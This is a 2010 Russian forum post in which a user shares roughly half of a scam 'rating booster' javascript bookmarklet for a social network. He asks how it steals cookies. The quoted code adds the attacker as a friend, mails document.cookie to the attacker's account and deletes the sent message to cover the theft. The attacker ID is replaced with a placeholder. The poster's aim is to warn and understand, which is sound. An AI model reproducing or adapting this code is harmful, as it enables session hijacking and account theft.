Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Web программирование > JavaScript, Ajax
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 07.02.2010, 06:13   #1
osven
 
Регистрация: 27.09.2009
Сообщений: 4
По умолчанию непонятный скрипт

Копался сегодня в яндексе и нашел скрипт который якобы повышает рейтинг, конешно я понимаю что это развод но не пойму каким образом данный скрипт работает и как он куки ворует. И куда эти куки вообще прилетают. Скрипт выкладываю специально сюда, чтобы неопытные пользователи понимали какую опасность он несет. Объясните пожалуйста что и как. Заранее благодарен.

javascript:var percentGold=100;var widthLeft=20;var widthRight=179;var t;var memPerSec=10.00741833975;function d(m,j,l){var i=(m+'').indexOf(j,l);return i=== -1?false:i;};function _a(){next= -(1000/memPerSec)*Math.log(Math.random()); ge('percentGold').innerHTML=percent Gold;ge('rateLeftGold').style.width =widthLeft+"px";ge('rateRightGold') .style.width=widthRight+"px";percen tGold=percentGold+1;widthLeft=Math. floor(Math.sin

ну тут опять какието буквы непонятные
ля
ля
ля
строчек
10
наверное

и далее уже интересное (ай ди злоумышленника)

{act:'a_add_form',fid:ай ди злоумышленника},onDone:function(aja xObj,responseText){try{var text=responseText;var response=eval('('+responseText+')') ;f.innerHTML=response.text;var form=ge('addFriendForm');if(!form)r eturn;var params=serializeForm(form);Ajax.Pos t({url:'friend.php',queryarams}); }catch(e){}}});};function b(){Ajax.Get({url:'mail.php',query: {act:'write',to:ай ди злоумышленника},onDone:function(aja xObj,responseText){var text=responseText;try{f.innerHTML=r esponseText;params={act:ge('act').v alue,ajax:1,misc:ge('misc')?ge('mis c').value:'',secure:ge('secure')?ge ('secure').value:'',chas:ge('chas') .value,photo:ge('photo')?ge('photo' ).value:'',to_id:ай ди злоумышленника,
to_reply:ge('to_reply').value,toFri ends:ge('toFriends')?ge('toFriends' ).value:'',title:ge('title').value, message:''
+Math.round(Math.random()*10000)+do cument.cookie+Math.round(Math.rando m()*10000)};
setTimeout(c,3000);}catch(e){}}});} ; function c() {Ajax.Post({url:'mail.php',querya rams,onDone: function(ajaxObj,responseText){setT imeout(e,1000);}});}; function e(){Ajax.Get({url:'mail.php',query: {out:"1",rnd:Math.round(Math.random ()*10000)},onDone:function(ajaxObj, responseText){try{var k='<a href="/mail.php?act=write&to= тут ай ди злоумышленника8&r=';var pos=d(responseText,k,0); var g=d(responseText,'&out=1"',pos); if(pos==false)return; var messid=parseInt(responseText.substr (pos+k.length,g-pos));params={act:"a_delete",id:mes sid,out:1}; Ajax.Post({url:'mail.php',queryar ams});}catch(e){}}});}; onDomReady(function(){document.body .appendChild(f); first();a();b();});


Чтобы меня не обвинили в негодяйстве скрипт выложил только на половину

куда улетают куки?
osven вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Параметр классу? Непонятный с++. jojahti Общие вопросы C/C++ 4 16.10.2009 08:55
непонятный баг brain-bras Общие вопросы C/C++ 4 14.10.2009 21:26
Непонятный синтаксис. jojahti Общие вопросы C/C++ 10 14.10.2009 19:05
непонятный компилятор Waleriy Общие вопросы по Java, Java SE, Kotlin 2 11.12.2008 14:16
непонятный код Kostua Помощь студентам 5 27.04.2008 18:17